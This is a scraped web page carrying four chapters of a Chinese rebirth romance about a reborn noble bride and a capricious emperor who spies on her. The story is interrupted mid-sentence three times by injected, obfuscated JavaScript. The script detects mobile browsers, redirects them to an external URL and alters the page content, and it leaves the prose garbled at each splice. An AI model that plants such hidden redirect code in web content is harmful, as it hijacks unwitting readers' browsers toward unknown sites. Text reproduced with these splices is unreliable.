《臣妻不敢违》
1. 第 1 章
“小姐,该上轿了。”
福安瞧小姐愣着,忙不着痕迹推了推她道:“世子正被表少爷们堵着等您呢!”
安北侯世子来接亲,柳府上下高兴还来不及,哪敢派人阻拦,恨不得直接把人送过去。
福安低着头,不敢让小姐看到她通红的眼眶。
大喜的日子,小姐日后可是高高在上的世子夫人,她怎么能做出丧气的表情。
柳玉昭仍然动作呆呆地,由着福安给她盖上盖头,搀扶着向外走去。
大红的喜色下,她的眼前却浮现出自己短暂平静的一生。
永昌十年,仅仅二十八岁的贺柳氏躺在群芳苑中病逝。
直到死前,她的夫君安北侯世子贺宣始终没有出现。
“夫人……去了!”
安北侯府瞧着光鲜亮丽,实则不过纸糊的老虎,老侯爷爱阔,世子不事生产,全赖祖辈的余荫撑着。
她本就不多的嫁妆,全填进深不见底的吃人窟窿里。
柳玉昭唯一感到欣慰的,就是她早早选了好人家,把福安嫁出去,没跟着自己一块被婆母磋磨。
跨过门槛的一刻,柳玉昭还是有种说不出的虚幻感,她不是……死了吗?
柳玉昭一步步走着,她想起自己被困在安北侯府的漫长十年,出身不高被轻视,夫君不待见被冷待,婆媳不睦被剥夺管家权……
一桩桩一件件,愈靠近愈清晰。
柳玉昭脚一顿,又被身旁拥着的人推向前。
她没有任性的条件,母亲早逝,父亲不会为她抵抗来自皇室的怒火。
大婚之日悔婚,等待她的只有三尺白绫。
上等绣线织就的婚服,满身珠宝璀璨,映得她雪肤花容,贵不可言。
侯府派来教规矩的妈妈跟在身后,仔细打量柳玉昭的身影,确认她的举止挑不出错处,这才在心里松了口气。
不怪她们紧张,实在是面前的世子妃出身过于低微,不说王公贵族,就是全京城都排不上号。
侯夫人气得头疼,让她们无论用什么方法,都得在大婚那日保全侯府的脸面,她不想听到谈论世子妃小家子气的谣言。
好在世子妃的仪态出乎意料地好。
不过,要不是新帝乱点鸳鸯谱,通天权势怎会落到柳家头上。
柳玉昭记得,就是在她十八岁那年。
金銮殿上那位新帝,不知吃错什么药,突然给她和安北侯世子赐婚,一下子打得两家猝不及防。
“姑娘,该入轿了。”
冷冰冰的现实将柳玉昭打回现实,她遵从身体本能弯腰躬身,沉默着走上精致奢华的马车。
就算看不见,柳玉昭也知道她的夫君正面无表情坐在马上,一言不发。
而她的父母、母亲、弟妹,正同别人一样羡慕看着她,认为她要飞入金银窝了。
周围有人议论,大婚当日,新郎官怎么摆起一副死了爹娘的糟心样。
身旁人连忙捂住他的嘴。
贺宣一个眼神使过去,他身边的侍卫领命,当即把人拖下去教训,半点不顾今日的喜事。
继母绞着手帕,恨铁不成钢看着才十五岁的女儿,暗声骂道:“就差一岁!一岁!泼天的富贵就能轮到咱们娘两了!”
“吃吃吃!就知道吃!”
她抬手打掉柳玉芳手里的喜糖:“今天不许吃晚饭!”
车帘落下,随着摇晃的马车,柳玉昭终于生出一丝真实感。
永昌一年,她竟然重生了。
死前满心愤懑不甘,都在火红的盖头下化作连绵的委屈,她忽然没规矩地扯下盖头,盯着上面的龙凤金纹,用指甲边缘一点点扣开。
一滴清泪晕染,柳玉昭慢慢抬起头,笑了。
她活了一辈子,委屈了一辈子,谁都能踩她一脚。
柳玉昭自己都笑自己卑微到尘土里。
只是从死到生,她忽然觉得上辈子的所有痛苦,都随着这一滴泪烟消云散。
她至少不曾真心错付,不曾眼睁睁见良人变心。
不曾,真的痛彻心扉失去过什么。
马车外传来市集喧嚷的吵闹声。
天子脚下,柳曲文不过从四品小官,当年侥幸靠着岳父家资助在东市买了三进的宅邸,每日上朝得提前一个时辰起,比不得王公贵族靠近皇城。
从柳府到安北侯府,得经过人来人往的市集。
安北侯府虽然提前分散了人群,但挡不住有人爱看热闹,因此行进颇感艰难。
眼下,侍从见世子爷脸色愈发难看,生怕他转头撂挑子不干,忙不迭道:“少爷,小的去前面让人快点,别误了陛下定下的时辰。”
贺宣闻言白了他一眼,冷哼一声:“去吧。”
侍从这才放下心。
世子爷这几年脾气见长,若是不完成婚事,还不知道上头盯着侯府的那位会降下什么罪。
和外边紧张的氛围不同,许是受到年龄影响,柳玉昭忽然对马车外的世界产生好奇。
成婚前她被关在狭窄的柳府,每日靠读着沉闷的诗书度日。
婚后侯夫人虽不给她管家权,但时常分配府里的事让她做着,柳玉昭一个人忙倒过好几次。
生母早逝,继母不慈,婆母打压,她遭受过许多冷眼,无论想要什么,都无法得到。
渐渐地,柳玉昭学会不去想,不去要,主动困在狭窄的天地里,品味独自一人的冷清。
想起上辈子她恪守死板的妇道,按照贺夫人的规矩活着,被她讥讽生不出孩子,做主纳一房又一房妾室。
柳玉昭就想笑。
贺宣从没碰过她,她敢生吗?
摇晃的马车窗帘似乎在引诱她,莹白如玉的手慢慢靠近,攥住帘子底部。
柳玉昭心脏砰砰直跳,嘴巴很干,一直咽着唾沫。
喧闹声渐渐平息,再不快点——她可能就永远看不见书里热闹的东市!
柳玉昭不知哪来的底气,猛地掀开车帘,抬眼往外看去。
低眉簇拥的仆从外,有一间间大开的店铺,道路两旁摆着千奇百怪的摊贩,上面都是她不曾瞧见的玩意儿。
柳玉昭的眼睛越睁越亮,忍不住盯着看围着小孩的糖画摊。
母亲在世时,总会让人从街上给她带一只,但不许吃,只需看。
她幻想过无数次糖画的味道,可梦醒后只有冷腻难吃的糕点。
无人看她,无人在乎她,凑热闹的百姓忙着捡地上的铜钱。
柳玉昭一间间铺子看过去,猛地撞进一双深沉含笑的眼眸。
浓郁森冷,噙着冷冰冰的笑。
有人在一直盯着她看!
柳玉昭手一抖,连面容都没来得及看清,匆忙放下车帘。
她看着自己孱弱的手,心想,外面真热闹啊。
马车停在安北侯府的时候,只有福安一人扶她下来。
柳玉昭心知这是贺夫人给她的下马威,同样透露给外人一点对婚事不满的态度。
她不着痕迹捏了捏福安的手腕,小声安抚道:“别害怕。”
福安死死咬着下唇,再抬头时已是笑着的模样。
媒人递来红绸,柳玉昭不顾贺宣冷脸,小步跟着他往里走。
进入安北侯府后,和上辈子一样挑剔轻视夹杂着妒忌的目光落在她的身上。
柳玉昭习以为常无视。
她在等着意料之中人的出现。
“表哥——”一道怯生生的声音藏在人群中,要不是柳玉昭刻意留意,恐怕依然会像前世一样一无所知。
贺宣的脚步停下来,突兀放下红绸。
侧身看向泪眼朦胧的贺兰珠,喃喃道:“兰珠妹妹——”
前世同样是这样,众目睽睽之下,她的夫君骤然松开红绸跑去一边,留她承担更大的讥讽嘲弄。
柳玉昭抓紧红绸,一言不发。
贺夫人神色一变,她不待见柳玉昭,未必就待见贺兰珠,相反她非常不喜欢这个在侯府借住的表妹。
一天天的,有点劲儿尽往宣哥身上使。
邹妈妈脸色大变,她可是派了五个丫鬟看着贺兰珠,谁曾想能让她跑出来。
“奴婢这就让人把她带回去!”
她不好走开,给一个小丫鬟使眼色,让她无论用什么方法都得给人拖走。
安北侯皱眉道:“宣儿也太胡闹了些。”
众目睽睽下给入门妻子甩脸色已是不对,贸然中断婚礼仪式更是大错,他已经想到私下会面新帝要怎么编排他。
贺夫人柔声道:“侯爷,您也知道宣儿这孩子自由惯了,再说,焉知不是有人把他往歪路上引?”
三言两语,把责任撇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309734|198775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得干干净净。
柳玉昭在贺夫人手里吃过不少暗亏,知道她是个极力害难相处的人,因此始终保持沉默,仿佛什么都没发生。
贺宣还会回来的。
果然,贺宣没走几步就被几个丫鬟挡住去路,等他再想追的时候贺兰珠已经不见踪迹。
他不情愿地来到父母面前,完成成婚仪式。
柳玉昭低头看向顶着硕大东珠的鞋,与贺宣夫妻对拜。
媒人对她的要求比贺宣高,柳玉昭感到一只手按在她的背上,压着她往下弯。
她眨了眨眼睛,再没流出一滴泪。
不甘过仿徨过,柳玉昭已经累了。
这辈子她不想再奢求自己没有的东西,只盼能在身份的桎梏下多挣得点自在。
重走一遭生前路,总比全然未知来得游刃有余。
柳玉昭坐在大红的喜床上,看着房内安静出入的丫鬟,对福安说:“给我来一碗鸡汤。”
贺夫人安排的妈妈像是见鬼一样看她,“二夫人,这于理不合。”
贺宣排行第二,上头还有一位姨娘出的哥哥。
两人挡住福安的路,声音穿过盖头清晰传入柳玉昭耳中,“少爷没掀盖头,您不能进食。”
贺夫人送来两个人自然不是来帮衬柳玉昭的,况且她们是婆母的人,于情于理她都得尊敬三分。
福安急得绕来绕去,顾虑小姐不敢起冲突。
柳玉昭慢悠悠挑起帕子。
这是一个相当失礼的行为,李妈妈眼皮一跳,正要训斥,却听到这位惯常忍气吞声的姑娘温声道:“但我想,今晚世子不会回来了,对吗?”
李妈妈正以为她知道白日发生了什么,却没想柳玉昭话锋一转。
“我毕竟是陛下亲封的世子妃,且素来身子骨弱,若是大婚之夜病倒……”
余下的不必多说,两位妈妈对视一眼,看到她脂粉难掩疲惫的脸,让开拦住福安的胳膊,转头唤个小丫头带她去厨房。
“注意避着点人。”
和李妈妈不同,顾妈妈更为灵活。
柳玉昭体弱,大婚前几日本来就睡得少,前世贺宣一夜未归,她脸色发白险些晕倒,是顾妈妈做主解了她的钗环,用点易克化的食物睡下。
现下,柳玉昭吃掉处理好的鸡肉,再将汤一饮而尽,才觉得手脚生出暖意。
今日侯府大喜,小厨房不敢偷懒,鸡汤都用上等的药材炖着,她日后想吃还得看下人脸色。
估摸好时间,才主动扯下盖头,淡然道:“备水,我要梳洗。”
顾妈妈瞅了她几眼,领命去了。
大抵她也没见过新婚夜夫君不归还淡定睡觉的姑娘,寻常女子早忍不暗自垂泪了。
新进门的夫人倒是个沉得住气的。
“你们先下去,小姐由我来伺候便好。”
福安等人走了,才低声用气音问她:“小姐,姑爷他……”
她白天可瞧得真真的,那位梨花带雨的柔弱女子堂而皇之出现在侯府内,大婚当日不给小姐好脸色。
这副小家子气派,比柳府的姨娘还不如。
水雾沾湿眉眼,柳玉昭摇了摇头,散落的碎发蜿蜒在雪色肌肤上,清冷出尘的眉眼添上三分浓艳。
“随他。”
福安不自觉呼吸一顿,小姐似乎有种说不出来的变化。
她琉璃般的眼眸半开半合,弯唇漠然道:“福安,过好我们的日子就好。”
“小姐……好。”
但等柳玉昭穿衣走出内室时,却发现窗台多了一支糖画。
柳玉昭拿起双鱼询问倒水的丫鬟,“刚刚谁进来过?”
“回夫人,奴婢们守在门外,不曾见到有人进来。”
“许是白天的少爷小姐们不慎落下的,”李妈妈上前端详几眼,“看着普通,想来是下人们买来逗小主子们玩的,夫人可是要丢掉。”
柳玉昭拿着糖画转了几圈,“留下吧,看着喜庆。”
顾妈妈忽然从外间快步走进,说是贺夫人寻她过去,有事要商量。
福安立刻去拿外穿的衣裳。
柳照微敏锐察觉侯府出现未知的变数。
前世贺夫人再不喜欢她,也干不出大婚当夜把人叫过去的道理。
难不成有下人把她刚刚的举动故意传到贺夫人耳中?
2. 第 2 章
裴钦策马回到正德殿,一路上眼前不住浮现起那一截雪白的粉颈,被热气熏得浮现细密的水珠,无力靠在木桶边缘。
越是回想,仿佛又看见沉静如水的眸子,外表是一潭死水,往里看却发现底下藏着汹涌暗流。
柳曲文倒是养了个不同寻常的好女儿。
他把鞭子扔给守在一旁的小太监,快步走进殿内,提前备水的太监宫女有序退下。
跟在后边的张公公瞅了瞅天色,小声提醒道:“陛下,该歇了!”
裴钦猛地回了神,瞳孔带着说不出的暗色。
他想自己一定是昏了头,才会给刚成亲的小姑娘买糖画,还做贼一样潜入人家新房内,偷窥姑娘洗澡。
“张德,明日宣安北侯世子入宫,朕亲自做的媒,也该喝一杯喜酒。”
贺宣是个什么样的,他还没好生打量过。
裴钦扯衣跨入后殿的浴池,与俊美面容不甚符的精壮身躯缓慢吐息,心想他总该对赐婚的姑娘负责才是。
今日跟着裴钦出宫的侍卫眼皮猛跳,恨不得当场失聪。
张公公不知发生了什么,连忙应是。
再抬头看去时,陛下已经大步走入内室。
他挥手屏退侍卫宫婢,陛下不喜人近身。
果然等了一会儿,里面传来传唤的声音,张公公这才带着人进去。
稀奇的是陛下竟在作画,张公公呵止了几个东张西望的小宫女,退步到廊外守着。
眼角余光瞥见陛下等画作完成后,手一抬,未干的画卷滚入沉香炉中,嘴角带着冷笑。
他心一沉,死死把头埋在胸前。
——
柳玉昭跟着带路的丫鬟走到一处偏僻的宅院时,正怀疑是不是顾妈妈骗她。
谁曾想打开门后,安北侯贺夫人贺宣齐聚一堂,地上摔了好几盏杯子,贺宣的额角都破了个口子。
贺夫人看着她,难得扬起温和的笑容。
“玉昭这孩子,看着就是个贤惠懂事的,宣儿,这可是陛下亲赐的婚事!你不为自己考量,也得顾着玉昭!”
柳玉昭瞬间头皮发麻,她进不得退不得,怀疑贺夫人是不是吃错药了。
要知道前世无论她把贺夫人安排的事情做得多好,客人夸赞她贤惠能干,贺夫人只是眼皮都不抬地说了句:“还得学。”
现在,强颜欢笑的婆母正看着她,“玉昭,快走进给我瞧瞧。”
宛若恶鬼附身。
柳玉昭走近几步,福安和几位妈妈守在门外,一只蚊子都不放进去。
贺夫人拉着她的手,左看右看:“白天我就和侯爷说,宣儿是个有福气的,陛下更是慧眼,挑了你来做我家媳妇,这不——你一出现,都把这位精细养着的表姑娘比了下去。”
贺宣正跪着,忍不住呛声道:“母亲何苦抬举外人,兰珠妹妹在我心里千好万好,便是九天玄女下凡来,也比不过表妹一根手指头。”
安北侯气得又摔了一盏茶,滚烫的茶水打湿贺宣衣袍,显得他更加狼狈不堪。
“混账!你这是什么话!”
大婚当日,新郎官公然与她人搅和在一处,若是新帝有意,治他个大不敬之罪也省得。
安北侯简直要被这个扶不上墙的烂泥给气死。
“从今日起,你搬去群芳苑,再让我发现你与贺兰珠在一块,你的世子位置就别想要了!”
此言一出,满堂寂静。
贺宣原本愤怒的表情被惊愕取代,喏喏不敢回话。
贺夫人大惊,以往宣儿再不成器,侯爷只是说几句狠话,不曾动过换世子的念头。
要知道她可就宣儿一个儿子。
贺夫人放在小桌上的手不自觉捏紧,贺兰珠不能留了,得赶紧找人把她嫁出去。
“宣儿,还不快给侯爷认错。”
她看向默不作声的柳玉昭,小门小户出来的也不错,要是大家小姐发现新婚当夜夫婿有外遇,把房顶掀了都是轻的。
想到这,贺夫人越看低眉顺眼的柳玉昭越喜欢。
“你模样气质不俗,赶明儿我让邹妈妈把我库里珍藏的暖玉拿出来,给你和琪姐儿各打一只镯子。”
贺夫人说着有些心疼,那玉是先前宫里赏的,原先预备留着给琪姐儿出嫁添妆用,现在少不得得拿出来哄哄柳玉昭。
小门小户的,嫁妆只抬了二十箱,想来没见过这等贵重的宝贝。
柳玉昭恭顺应好。
他们把她叫来无非是表个态,让面子上过得去,没想真给她说话的机会。
只是柳玉昭心底疑惑,上辈子大婚当夜贺宣同样一夜未归,找表妹赔罪去了。
那时安北侯与贺夫人可当没事发生一样,冷脸对她挑刺。
有了贺宣的对比,安北侯对柳玉昭也摆不出冷脸来,温和说道:“宫里小太监传陛下口谕,让宣儿与你明日入宫,给陛下奉茶。”
怕她不熟悉宫里的规矩,贺夫人补充道:“明日你跟在我身后,切记不要多看、多言。”
新帝行事不按常理出牌,这点柳玉昭早有耳闻。
没想到他摆了安北侯府一道,还要人家上赶着谢恩。
柳玉昭低头应是,心里隐约有不好的预感,仿佛有什么超出控制的东西出现了。
上辈子从生到死,她都没见过这位外人眼中诡谲难搞的帝王。
再度睁眼时,柳玉昭眼底已经恢复平静。
“媳妇省得。”
贺夫人暗暗点头,不论出身,宣儿新妇样貌清丽端庄,最难得的是这股宠辱不惊的气质,当得住侯府宗妇。
“去吧。”
贺宣踉跄起身,不舍往小院深处望了好几眼,才在安北侯凌厉的眼神中艰难离去。
贺夫人待人走后,才看向安北侯道:“侯爷先回去歇息吧,表姑娘这我会好生劝她。”
安北侯叹气:“劳你多忧心了。”
贺夫人放下茶盏,冷声道:“邹妈妈,把人给我带上来!”
两个老妈妈拽着个衣衫不整的女人来到贺夫人面前。
她上下仔细打量,确认贺兰珠的衣衫完整,没真犯下大错,才恨铁不成钢道:“胡闹!”
和白日相比,贺兰珠此时有种说不出的疯意,撑在地上似笑似哭:“姑妈,你骗我!”
她等到死,都没等到表哥娶她。
——
回了群芳苑已近亥时,柳玉昭坐在镜前,等着福安除去钗环。
但等她在里间换好寝衣,贺宣还跟个柱子似的堵在房间门口,既不进来也不离开。
贺宣看见她的打扮,偏头皱眉诘问道:“你怎能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309735|198775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在我面前穿成这样?未免太过轻狂!”
柳玉昭看了看自己整齐的衣衫,没露出一点,能有他当着新婚妻子与表妹偷情来得轻狂?
这话说得重,左右丫鬟放低呼吸,顾妈妈正要上前说些好话缓和气氛,就见柳玉昭低眉敛目走近问道:“宣哥儿可要休息?”
贺宣在她眼里就跟长不大的孩子似的,既不爱旁人称呼他为世子,也不喜陌生人亲密称呼他。
果然,贺宣连表面的冷静都难维持,当即拂袖而去。
“不知羞耻!我去客房睡!”
李妈妈笑盈盈道,“天色已晚,明日还要进宫,我服侍夫人睡下。”
顾妈妈见情况不对先去铺床,此刻与李妈妈一左一右围着,不敢让柳玉昭去找贺宣。
世子脾气不好,今夜若是吵起来,传出去又得多增一则笑料。
福安气得手抖,没想到她们敢这么对自家小姐。
一个个的瞧着面甜尽责,混在糖里的刀子让人有苦说不出。
柳玉昭看着膀大腰圆的两个妈妈,仿佛没脾气的人一样淡定颔首。
“福安,留一盏灯。”
纱帘层层落下,如雪般清冷的人儿坐在床边,昏暗中闪着泠泠微光的眸子看向小桌上的糖画。
柳玉昭拿起来转一圈,鼻尖嗅到甜腻的滋味。
她没有吃,只是一圈圈转着,眸光看向很远的地方。
到底是大梦一场,还是真的死后重生?
否则,为何今日会出现变数?
伴着柔和的月光,柳玉昭把糖画放回矮桌上,沉沉睡去。
睡梦中,她似乎又回到前世大婚那日。
红烛燃尽至最后一寸,裙摆的金凤像是在嘲笑她的痴心妄想。
柳玉昭蒙着盖头,听不清是从何处传来的低笑声。
或许哪里都有,她们都在笑她,笑她飞上指头也接不住富贵,依旧是没人要的杂草。
“顾妈妈,”有小丫鬟走进房间,小声说了些什么。
顾妈妈说晓得了,转身安排人送水,好言劝她早些休息。
“我的好姑娘,妈妈知道你心里苦,”顾妈妈帮她揭了盖头,一脸慈爱道:“但这深宅大院的,哪家公子哥没点傲气,宣少爷自小事事顺着,唯独遇见你——如何不能叫冤家呢!”
“这冤家啊!易结不宜解,咱们姑娘的路还长着呢!”
柳玉昭坐在宽大的浴桶里,灯影摇晃下,周围丫鬟婆子若有若无的打量看得她心慌,将将及胸口的热水险些要溺死她。
顾妈妈按着肩,不许她动弹,福安被指挥着去里间收拾箱笼。
“姑娘模样身段皆是一等一的出挑,还在乎一时半会儿吗?好生等着,宣少爷自会回头的。”
她们看着她,压得她喘不过气。
柳玉昭想找个洞把自己藏起来,藏得深深的,谁也不见。
“姑娘,水冷了,快起身吧。”
“小姐……小姐?”
福安正睡着,朦胧听到里间传来声音,披了外袍拿起烛台掀开帷帐走进去。
廊下丫鬟婆子打着瞌睡,福安不敢惊到她们。
她把烛台拿远些,发觉小姐正魇着,嘴里说着听不清的胡话。
忙拿出手帕给小姐擦泪,小声道:“小姐,别怕。”
3. 第 3 章
第二日一早,贺夫人就派人唤她前去。
柳玉昭穿着水蓝色衣裙,瞧着既不过分华丽也不寒酸,朱唇轻点,眉眼弯弯,对镜放下描眉的手。
“知道了。”
她起身接过丫鬟递来的披帛,抬脚往外走去。
顾妈妈合上妆奁,迟疑道:“今日入宫,夫人会不会太素净了些……”
较之昨日见到的达官贵族,无不戴着华丽的宝石头面,柳玉昭发间点缀的钗环,委实过于稀疏。
她笑笑:“无碍。”
新帝上位后先是杀了一批中饱私囊之辈,又大肆提拔寒门子弟,豪门世家赴宴,无人敢攀比豪奢。
当然最关键的是,柳玉昭嫁妆大多是可使用的银票,没人给她添置首饰。
贺夫人见她的打扮,果然只是微微皱眉,并未多言。
她可舍不得送柳玉昭好东西,防她防得跟贼似的。
贺宣不愿和柳玉昭同乘,不由分说跨上马挥鞭先走了。
贺夫人暗中观察柳玉昭,发现她没有露出怨恨的神色,才满意点头。
“宣哥儿不懂事,还得你多担待。”
柳玉昭能感到四下仆人们的轻视,心想经过今日这一遭,日后她在侯府的日子得难过起来了。
嘴上恭顺称是。
——
新帝名为裴钦,原是先皇六子,母亲是安国大将军妹妹,入宫得封娴妃,荣宠无限。
可惜好景不长,六皇子出生没几年大将军横死沙场,将军府被查出私吞十万军饷,满门查抄,娴妃亦被牵连打入冷宫,没熬过一年便没了。
小小的六皇子直到十岁时才被先帝看见,生出微弱的慈父心肠,当正经皇子教养。
没曾想他暗中蛰伏,独自一人前往西北历练,徒手挣得功勋,建起了赫赫有名的西北军。
如今回到金银窝里,常常口出狂言,一身匪气。
谈笑间,人头落地。
柳玉昭想着有关新帝的传闻,越想越心惊。
朝野都说,这位从不按常理出牌的帝王——是弑父上位!
上辈子直到她死前,安北侯府已经被打压得连基本的体面也难以维持,不然凭她世子妃的身份,贺夫人何必眼睁睁看她病死。
不过——柳玉昭捏紧了藏在袖中的手,随着前世的记忆逐渐梳理清晰,她心底缓缓浮现另一个猜想。
她真的是病死的吗!
柳玉昭虽不通医术,但对自己的身体还算了解,她娘胎里体弱,可不至于被一场风寒拖死!
除非有人嫌她活着碍事!
身边伺候的小丫鬟偷偷议论过,贺夫人新相看的世子妃可是雍州首富的女儿,嫁妆足有三百台!
细细想来,三百台嫁妆,至少能保侯府十几年荣光!
贺夫人正阖眸,嘴角挂着和善的笑容。
柳玉昭慢慢放下袖中紧攥的手,抚平起皱的丝帕,心想是不是她,一试便知。
只要找到当时给她看病的郎中。
如果她前世真的是被人害死的,安北侯府便不是久留之地。
如今想来,贺夫人当时道,为她请来雍州有名的圣手,定能药到病除,但一剂剂药喝下去,丝毫不见好转。
柳玉昭记得贺夫人出身许州,好好的怎么会去雍州请人?
会不会是相看世子妃时遇上的?
马车外传来邹妈妈的声音:“夫人。”
柳玉昭掩下纷涌思绪,先一步下车,转身扶着贺夫人。
引路的宫女正守在一旁,柳玉昭不敢多瞧,低头跟在贺夫人身后。
贺宣没再作妖,强忍不适走在她身侧。
远远瞧着,两人仿佛真的是一对别扭的新婚夫妻。
柳玉昭余光瞥到贺宣像是被针扎了一样,急忙抖落沾到她披帛的手,心道好笑。
也不知贺兰珠是怎么做的,把不服管教的贺宣训得无比听话,成亲十年来,从没见他找过别人。
从某种程度上来说,也算得上情种。
贺夫人恭敬站在殿外,等待帝王传召。
她一想到上次除夕夜宴,新帝只是觉得烦闷,兴之所至竟然拿出一群宗室子弟收受孝敬的证据,堂而皇之让太监大声读出来,就不自觉两股战战。
苍天啊,可一定得保佑陛下心情好点。
安北侯身为异性王幸免于难,但新帝巡视的目光让他们恍惚觉得,侯府那点阴私无处遁形。
更别提先帝刚驾崩那段时间,侯爷被人怂恿劝谏新帝守丧,不想半点好处没捞着,反而赔上宣儿的婚事,整个侯府的安排都被打乱。
被人如狼似虎防着的裴钦今日早早下朝,正负手站在乾元殿侧殿,换下帝王朝服穿了身水蓝色的外袍,发束龙纹簪,看着站在殿外的三人。
“张德,你看他们二人像不像夫妻。”
张公公摸不清陛下的意思,捡着好话说:“世子和夫人昨日刚成婚,有些陌生再正常不过。”
裴钦闻言笑了:“你瞧,连你也觉得不像。”
“朕生平第一次指婚,竟是成了对怨侣。”
此话一出,张公公“扑通”一声跪下,抬手正欲打自己的嘴:“陛下,是奴才眼拙!”
“起来。”裴钦语含愉悦:“你说的没错,慌什么?”
他低头理了理衣袍,“走,朕得去看看这对貌不和神离的怨侣。”
张公公起身,余光瞄到世子妃今日穿的衣裳,打眼看去花纹样式和陛下新换的衣裳竟是一模一样!
他的脑中猛然窜出一个堪称荒唐的想法——
陛下莫不是……
贺夫人自然也发现撞衫的事情,她心脏猛跳,没想到微乎其微的概率叫她碰上了。
此时再让柳玉昭去换衣裳已经来不及,贺夫人只能硬着头皮上前行礼。
与贵人撞衫,事情可大可小,往小了说贵人一笑了之,往大了说可是冒犯之罪。
端看陛下的态度。
张公公看着低头恭敬的世子妃,端茶的手险些恐惧到发抖。
裴钦一个眼神,“张德,手抖就滚下去。”
他的声音不含喜怒,但张公公服侍了他几年,如何不知有时往往看着温和,实则在压抑怒火。
张公公脑中一片发白,再回首时已面色如常,“柳姑娘气度不凡,瞧着尊贵无匹,老奴一时看得入了迷,还望姑娘恕罪。”
说着,张公公当真要给柳玉昭跪下赔罪。
这话说得不合时宜,用词更是古怪大胆,除了裴钦之外的人一时愣住。
柳玉昭瞠目结舌,被突如其来的意外打乱节奏,端茶的手一歪,茶盏打翻在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309736|198775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地,沾湿衣裙,扶着张公公僵持在原地。
她虽活了两辈子,但一直大门不出二门不迈,实在没遇到过这种野路子似的招式。
泼茶、捧杀,怎么和戏文里写的差不多?
下一步是什么?降罪?
贺夫人指甲死死掐着掌心,此刻恨不得昏过去,但她不能倒下,否则一切都会落到宣儿身上。
屈膝重重跪下:“臣妇教导不严,令世子妃当众失仪,请陛下责罚。”
陛下亲自下旨赐婚,张公公是陛下的人,贺夫人既不能指责柳玉昭野丫头,也不能怪张公公好生生乱讲一通。
沉寂的氛围十分压抑,柳玉昭忽而抬头看向上方,正对上帝王兴味的目光。
她瑟缩着回眸,很快想起熟悉的一幕。
昨日客栈里的——是他!
柳玉昭觉得困惑,陛下已旁观安北侯世子大婚,今日为何还要传唤他们入宫,设计让她出丑?
难不成昨天觉得她态度不尊敬?
这也太霸道了些!当时她甚至不知道他的身份!
裴钦幽幽道:“侯夫人这是做什么,朕何时成了蛮不讲理之人,只是一时不慎打翻茶杯罢了。”
“张德,带柳姑娘去换件合身的衣服。”
贺夫人唯唯应是。
在她看来,帝王果然是对柳玉昭的衣服不满,但碍于身份,才让张公公故意犯了无伤大雅的小错。
“玉昭,还不快谢过陛下。”
柳玉昭沉默着对上帝王毫不掩饰的目光,她的手脚忍不住发软,仿佛看见了凶恶的猛兽,下一秒便会被撕碎。
她按压住疯狂跳动的心脏,垂眸行礼。
直到跟着张公公走出殿门,那股挥之不去的头皮发麻感才散去,柳玉昭不着痕迹松口气。
张公公极为恭敬,一路上伏低做小,“姑娘请。”
柳玉昭看着殿门上方的匾额,“正德殿”三个大字一气呵成,殿内装饰更是精致无比,处处可见价值不菲的珍品。
不愧是皇城,随便一座宫殿都如此豪横。
柳玉昭此刻对新帝上位查抄贪官污吏的举措,有了更深的认识。
最上头的都这样,底下的想必不遑多让。
“公公?”
柳玉昭抬头,正要问衣服在哪儿,就见张公公赔笑道:“宫内女眷不多,得劳烦柳姑娘等一会儿。”
张公公偷偷擦着汗,没有陛下的指示,他哪敢给她找衣服。
毕竟除了宫女,后宫就剩下那几位吃斋念佛的太妃。
他唤来几个伶俐的小丫头,叮嘱她们好生伺候柳姑娘。
“我去给姑娘催催。”
说着,脚底抹油似的,一溜烟跑了。
柳玉昭假意品茶,眼睛从旁边的桌子扫到帷帐后的龙椅,愈发坐立难安,恨不得拔腿就跑。
下摆的茶水快干了都没见人,她被浓郁的龙涎香包裹着,皮肤滚烫,心底泛起凉意。
永昌帝他……该不会一气之下要赐死她?
正惊慌失措着,忽然殿外传来帝王疏朗的笑声,听着颇为狂放不羁。
“衣裙?殿中省不是预备了几件皇后常服,拿来给柳姑娘换上就是。”
裴钦撩袍跨步入殿,凤眸上挑。
“想来柳姑娘不会嫌弃。”
4. 第 4 章
嫌弃?嫌弃!
柳玉昭僵立在原地,怀疑他是不是疯了!
怨不得朝野上下盛传新帝不拘小节,这哪是不拘小节,分明是毫无礼数!
柳玉昭生母是扬州牧独女,父亲是京兆府尹,耳濡目染下,自幼养成宠辱不惊的性子。
没想到一见新帝,直接震惊到维持不住笑容。
裴钦大马金刀往她对面一坐,眼睛直勾勾盯着柳玉昭,目光直白而不含情.欲细细描摹着她。
“怎么,柳姑娘嫌弃?”
柳玉昭瞬间惊醒,清醒意识到面前的男子是一位喜怒无常的帝王。
